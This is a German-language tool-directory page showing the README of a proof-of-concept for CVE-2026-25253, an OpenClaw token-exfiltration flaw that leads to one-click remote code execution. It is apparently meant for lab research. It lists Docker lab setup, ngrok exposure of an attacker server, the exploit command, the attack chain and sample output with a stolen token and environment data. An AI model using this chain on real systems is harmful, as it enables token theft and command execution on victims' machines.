Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-25253 — OpenClaw Authentifizierungstoken-Exfiltration | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-25253
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubeqstlab/cve-2026-25253

CVE-2026-25253

OpenClaw Authentifizierungstoken-Exfiltration

Repository anzeigen
25vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-25253 OpenClaw 1-Click RCE

★ CVE-2026-25253 OpenClaw 1-Click Remote Code Execution PoC ★

https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e

Beschreibung

CVE-2026-25253 : OpenClaw-Schwachstelle für die Exfiltration von Authentifizierungstokens

Beschreibung: OpenClaw (auch clawdbot oder Moltbot genannt) vor v2026.1.29 ermöglicht es Angreifern, ein gespeichertes Gateway-Authentifizierungstoken zu exfiltrieren, indem sie einen manipulierten gatewayUrl-Abfragezeichenfolgenwert an die Control UI übermitteln, die automatisch eine WebSocket-Verbindung ohne Validierung oder Benutzerbestätigung aufbaut. Dies kann zu unbefugtem Gateway-Zugriff und Remote-Code-Ausführung mit nur einem Klick führen.

Voraussetzungen

  • Docker (Docker Desktop unter Windows)
  • Python 3.x (Angriffsseite)

Dateien

  • Dockerfile — erstellt die angreifbare OpenClaw-Umgebung
  • templates/ — bösartige Webseiten, die vom Exploit verwendet werden
  • config.txt — OpenClaw-Konfiguration, die in der Opferumgebung verwendet wird
  • exploit.py — Exploit-Server
Tool herunterladen
  • requirements.txt — PoC-Abhängigkeiten

    • Einrichtung der Umgebung

    1. Docker-Image erstellen
    root@kitploit:~
    docker build -t openclaw-vuln .
    1. Umgebung ausführen (Windows)
    root@kitploit:~
    docker run -d --name openclaw-vuln -p 127.0.0.1:2222:22 openclaw-vuln
    1. SSH-Tunnel erstellen
    root@kitploit:~
    ssh-keygen -R [127.0.0.1]:2222
ssh -N -L 18789:127.0.0.1:18789 -p 2222 [email protected]
    • Passwort: openclawlab
    1. Auf die OpenClaw Control UI zugreifen Öffnen Sie die folgende URL im Browser
    root@kitploit:~
    http://127.0.0.1:18789/
    1. Geben Sie das Gateway-Token d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66 ein
    2. Klicken Sie auf Connect
    3. Öffnen Sie den Tab Config
    4. Fügen Sie den Inhalt von config.txt ein
    5. Ersetzen Sie das API-Schlüsselfeld durch Ihren OpenAI-API-Schlüssel
    6. Speichern Sie die Konfiguration
    7. Bestätigen Sie, dass der Agent normal antwortet

    Proof of Concept (PoC)

    1. Abhängigkeiten installieren (Angriffsseite)
    root@kitploit:~
    pip3 install -r requirements.txt
    1. Den Exploit-Server über HTTPS bereitstellen
    root@kitploit:~
    wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar xzf ngrok-v3-stable-linux-amd64.tgz
./ngrok authtoken YOUR_TOKEN
./ngrok http 13337
    • Kopieren Sie den generierten Weiterleitungs-Hostnamen
    1. Exploit-Server ausführen
    root@kitploit:~
    python3 exploit.py --host YOUR_NGROK_HOSTNAME --command "env"

    Beispiel:

    root@kitploit:~
    python3 exploit.py --host abcd-1234.ngrok-free.app --command "env"
    1. Den Angriff auslösen
    1. Öffnen Sie die vom Exploit-Server bereitgestellte schädliche Seite
    2. Simulieren Sie die Interaktion des Opfers mit der Seite
    3. Lösen Sie den Exploit-Ablauf im Browser aus

    Angriffsablauf

    1. Eine schädliche URL ändert den gatewayUrl-Parameter der Control UI des Opfers
    2. Der Browser verbindet sich automatisch mit dem vom Angreifer kontrollierten WebSocket-Endpunkt
    3. Das Gateway-Authentifizierungstoken wird an den Angreifer weitergegeben
    4. Die schädliche Seite verwendet das gestohlene Token, um eine neue WebSocket-Verbindung zum lokalen OpenClaw-Gateway des Opfers zu öffnen
    5. Eine Befehlsausführungsanfrage wird über den Agenten gesendet
    6. Das Ausführungsergebnis wird an den Server des Angreifers zurückgegeben

    Erwartetes Ergebnis

    • Der Browser des Opfers wird in den schädlichen WebSocket-Ablauf umgeleitet
    • Das Gateway-Authentifizierungstoken wird vom Angreifer erfasst
    • Der Angreifer kann über OpenClaw eine Befehlsausführungsanfrage senden
    • Die Befehlsausgabe wird an den Server des Angreifers zurückgegeben

    Beispielausgabe

    root@kitploit:~
    [*] Exploit Server running on: abcd-1234.ngrok-free.app:13337
[*] Gateway token captured: d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66

==================================================
      [!] EXPLOIT RESULT CAPTURED [!]
==================================================
HOSTNAME=openclaw-vuln
PWD=/root
HOME=/root
...
==================================================

    Hinweise

    • Dieses PoC zielt auf OpenClaw 2026.1.24-1 ab
    • Die Exploit-Kette basiert auf der fehlerhaften gatewayUrl-Verarbeitung in der Control UI
    • Für den Fernzugriff auf das Opfer muss die schädliche Seite über HTTPS bereitgestellt werden
    • Das lokale OpenClaw-Gateway wird über den Browser des Opfers als Brücke erreicht

    EQST Insight

    Wir veröffentlichen einmal im Monat CVE- und Malware-Analysen. Wenn Sie interessiert sind, folgen Sie bitte den untenstehenden Links, um unsere Veröffentlichungen einzusehen.

    • KR : https://www.skshieldus.com/security-insights/reports/eqst_openclaw_rce_vulnerability
    • EN : https://www.skshieldus.com/en/report?tab=eqst